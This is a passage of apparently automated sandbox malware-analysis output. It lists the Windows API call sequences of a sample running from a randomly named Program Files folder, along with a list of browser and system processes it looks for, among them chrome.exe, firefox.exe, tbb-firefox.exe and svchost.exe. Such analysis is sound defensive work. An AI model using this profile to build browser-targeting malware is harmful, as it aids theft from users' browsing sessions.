ad,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle, \chrome.exe5_2_00E467D0
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,InitializeCriticalSection,CreateMutexA,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,InitializeCriticalSection,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle, \iexplore.exe5_2_00E467D0
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,InitializeCriticalSection,CreateMutexA,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,InitializeCriticalSection,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle, \firefox.exe5_2_00E467D0
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,InitializeCriticalSection,CreateMutexA,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,InitializeCriticalSection,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle, \tbb-firefox.exe5_2_00E467D0
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,InitializeCriticalSection,CreateMutexA,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,InitializeCriticalSection,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle, \chrome.exe5_2_00E467D0
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,InitializeCriticalSection,CreateMutexA,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,InitializeCriticalSection,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle, \chrome.exe5_2_00E467D0
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: GetCommandLineA,StrStrIA,memset,#680,LoadLibraryExA,GetProcAddress,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,strstr,strstr,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree, \iexplore.exe5_2_00E41660
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: memset,GetModuleFileNameA,InitializeCriticalSection,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,GetModuleHandleA,GetProcAddress,GetCurrentProcess,#680,#680,PathFindFileNameA,StrStrIA,#680,StrStrIA,#680,StrStrIA, iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|frd.ex5_2_00E337E0
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: memset,GetModuleFileNameA,InitializeCriticalSection,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,GetModuleHandleA,GetProcAddress,GetCurrentProcess,#680,#680,PathFindFileNameA,StrStrIA,#680,StrStrIA,#680,StrStrIA, iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|frd.ex5_2_00E337E0
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: memset,GetModuleFileNameA,InitializeCriticalSection,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,GetModuleHandleA,GetProcAddress,GetCurrentProcess,#680,#680,PathFindFileNameA,StrStrIA,#680,StrStrIA,#680,StrStrIA, iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|frd.ex5_2_00E337E0
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: CreateToolhelp32Snapshot,Process32First,EnterCriticalSection,GetCurrentProcessId,StrStrIA,EnterCriticalSection,GetProcessHeap,HeapAlloc,LeaveCriticalSection,Process32Next,GetHandleInformation,CloseHandle, iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|frd.ex8_2_00E87300
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: CreateToolhelp32Snapshot,Process32First,EnterCriticalSection,GetCurrentProcessId,StrStrIA,EnterCriticalSection,GetProcessHeap,HeapAlloc,LeaveCriticalSection,Process32Next,GetHandleInformation,CloseHandle, iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|frd.ex8_2_00E87300
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: CreateToolhelp32Snapshot,Process32First,EnterCriticalSection,GetCurrentProcessId,StrStrIA,EnterCriticalSection,GetProcessHeap,HeapAlloc,LeaveCriticalSection,Process32Next,GetHandleInformation,CloseHandle, iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|frd.ex8_2_00E87300
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,InitializeCriticalSection,CreateMutexA,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,InitializeCriticalSection,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle, \chrome.exe8_2_00E867D0
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,InitializeCriticalSection,CreateMutexA,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,InitializeCriticalSection,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle, \iexplore.exe8_2_00E867D0
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,InitializeCriticalSection,CreateMutexA,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,InitializeCriticalSection,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle, \firefox.exe8_2_00E867D0
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,InitializeCriticalSection,CreateMutexA,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,InitializeCriticalSection,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle, \tbb-firefox.exe8_2_00E867D0
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,InitializeCriticalSection,CreateMutexA,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,InitializeCriticalSection,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle, \chrome.exe8_2_00E867D0
